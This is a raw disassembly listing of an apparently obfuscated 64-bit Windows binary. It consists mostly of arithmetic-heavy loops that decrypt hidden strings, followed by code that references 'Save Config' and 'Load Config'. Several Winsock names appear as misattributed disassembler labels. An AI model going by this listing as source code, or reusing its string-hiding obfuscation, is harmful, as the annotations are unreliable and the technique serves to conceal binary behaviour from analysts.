add dil, dl
add dil, r9b
jmp 0x1400929ac
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
dec r10
inc r10
jmp 0x140091fd3
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140091fd3
movzx r11d, r10b
lea edx, [r11 + 0x6c]
mov ecx, 6
jmp 0x140092a27
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14009266a
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400924ec
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400926a4
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400926cc
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140092aa8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400926f8
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929d1
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400924f7
movzx r11d, r10b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x140092a38
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092743
movzx r11d, r10b
lea edx, [r11 - 0x7a]
mov ecx, 0x2b
jmp 0x140092a27
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009276b
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x1400929d4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092797
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092aa8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400927bf
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x140092af3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400924aa
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092833
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009285f
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092af3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092887
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x1400929d4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400928b3
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929d1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400928e3
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092466
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140091fd3
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x260]
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400929ac
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140092aa5
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x140092aa8
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929d1
movzx r11d, r10b
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
sub r11b, 0x76
movzx eax, r11b
and al, r9b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x260], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140091fd3
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x140092a6e
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x140092a38
movzx r11d, r10b
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x6a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, r9b
mov byte [rbp + r10 + 0x260], r11b
inc r8
dec r10
inc r10
jmp 0x140091fd3
lea edx, [r10 - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140091fd3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x72
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x260], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140092af3
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x2e
add dil, dl
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r10 + 0x260], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x3f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
sub r10b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x140091fd0
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091fb4
lea rcx, [rbp + 0x149b658]
jmp 0x140092bc5
lea rcx, [rbp + 0xec0052]
jmp 0x140092bc5
lea rcx, [rbp + 0x260]
xor r8d, r8d
lea rdx, [0x1401fcca8]
call fcn.14003a960
test al, al
je 0x140092c1e
movss xmm0, dword [0x1401fcca8]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fc6f0], eax
movss xmm1, dword [0x1401fccac]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401fc6f4], eax
movss xmm0, dword [0x1401fccb0]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fc6f8], eax
call fcn.14000cd80
call fcn.14000d550
call fcn.14000a5d0
cmp dword [0x1401fe800], 3
jne 0x140093923
mov dword [rsp + 0x7c], 0x42aa0000
mov dword [rbp - 0x80], 0x428c0000
lea rcx, [rsp + 0x7c]
call fcn.14001a7c0
mov dword [rbp - 0x34], 0x438d0000
mov dword [rbp - 0x30], 0x43c10000
lea r12, [rbp - 0x34]
mov byte [rbp + 0x2c0], 0x53
mov byte [rbp + 0x2c1], 0x7e
mov byte [rbp + 0x2c2], 0x78
mov byte [rbp + 0x2c3], WSACleanup
mov byte [rbp + 0x2c4], WSACleanup
mov byte [rbp + 0x2c5], WSACleanup
mov byte [rbp + 0x2c6], 0x89
mov byte [rbp + 0x2c7], 7
xor eax, eax
mov qword [rbp + 0x2c8], rax
mov word [rbp + 0x2d0], ax
movabs r14, 0xb25e8c6ff217f682
movabs r15, 0x171ba54fd647e386
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x1400938b3
movzx r9d, byte [rbp + r10 + 0x2c0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400938a7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140092d33
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x72
jmp 0x140092d60
je 0x14009382a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400937f8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400937b7
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140093796
cmp r8, r10
ja 0x14009389b
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140092d95
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092de3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009374b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093723
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093708
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009367b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009365c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009362b
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140093362
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140093343
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009331f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400932fe
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400932df
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400932c4
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400932a5
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140093282
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140093263
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140093232
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140092df0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x41]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14009387b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14009385b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140092fe2
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140092fc3
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140092fa8
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400931e5
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009319d
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14009315f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140093135
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140092df0
lea rbx, [r8 + 4]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140093108
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400930ed
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400930ca
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400930ab
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14009308c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140093069
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140093044
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140093020
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140093001
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140092df0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 1]
jmp 0x140092df0
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x140092de3
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092d60
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092cf6
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx r11d, r10b
jmp 0x140093769
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
inc r8
dec r10
inc r10
jmp 0x140092ce3
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140092ce3
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400937d1
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009380e
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093811
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140093695
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x1400936c1
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x2c0], dil
inc r10
jmp 0x140092ce3
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
cmp r8, 5
jb 0x14009314f
movzx r11d, r10b
lea ecx, [r11 - 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x28]
jmp 0x140093769
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
cmp rbx, 0x80
jae 0x1400935e4
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x1400934f6
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x140093175
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14009360b
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140093452
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400931b3
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400936c1
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093695
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093811
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x14009380e
movzx r11d, r10b
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x1400937d1
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
dec r10
inc r10
jmp 0x140092ce3
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x140092ce3
movzx r11d, r10b
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x140093769
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x14009338e
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400931fb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400933c8
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400933f8
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093695
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140093424
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009380e
cmp rbx, rcx
jne 0x1400931fb
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140092ce3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093471
movzx r11d, r10b
lea edx, [r11 - 2]
mov ecx, 7
jmp 0x140093758
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400934a2
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
inc r8
dec r10
inc r10
jmp 0x140092ce3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400934ce
movzx r11d, r10b
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x1400937d1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400931b3
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x14009380e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093534
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140093564
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093695
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009358c
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14009380e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400935b8
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x1400937d1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140093175
movzx r11d, r10b
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140093769
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x2c0]
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400937d1
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140093695
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400936c1
movzx r11d, r10b
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
add r11b, 0x56
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x5a
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x2c0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x140093811
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140092ce3
movzx r11d, r10b
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x4e
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x22
add r11b, r9b
mov byte [rbp + r10 + 0x2c0], r11b
inc r8
dec r10
inc r10
jmp 0x140092ce3
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
dec r10
inc r10
jmp 0x140092ce3
movzx r11d, r10b
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
add r11b, 0x52
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3e
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x2c0], r11b
jmp 0x14009380e
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140092ce3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x2b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140092ce3
sub r10b, 0x76
movzx eax, r10b
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140092ce0
sub r10b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140092cc6
lea rcx, [rbp + 0x159a218]
jmp 0x1400938ba
lea rcx, [rbp + 0x171989a]
jmp 0x1400938ba
lea rcx, [rbp + 0x2c0]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
call fcn.140009e00
mov dword [rbp + 4], 0
mov dword [rbp + 8], 0
lea rdx, [rbp + 4]
lea rcx, str.Save_Config
call fcn.140038e90
test al, al
je 0x1400938f3
call fcn.14004e5b0
mov dword [rbp + 0xc], 0
mov dword [rbp + 0x10], 0
lea rdx, [rbp + 0xc]
lea rcx, str.Load_Config
call fcn.140038e90
test al, al
je 0x14009391e
call fcn.14004e220
call fcn.14000cd80
call fcn.14000d550
nop
lea rcx, [rbp + 0x7c0]
call fcn.140043e40
call fcn.14000caa0
nop
mov rdx, qword [rbp + 0x7b8]
cmp rdx, 0xf
jbe 0x14009398b
inc rdx
mov rcx, qword [rbp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140093986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140093986
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401427c8
mov rcx, qword [rbp + 0x7f8]
xor rcx, rsp
call fcn.140142c40
lea r11, [rsp + 0x970]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm10, xmmword [r11 - 0x40]
movaps xmm11, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
movaps xmm13, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret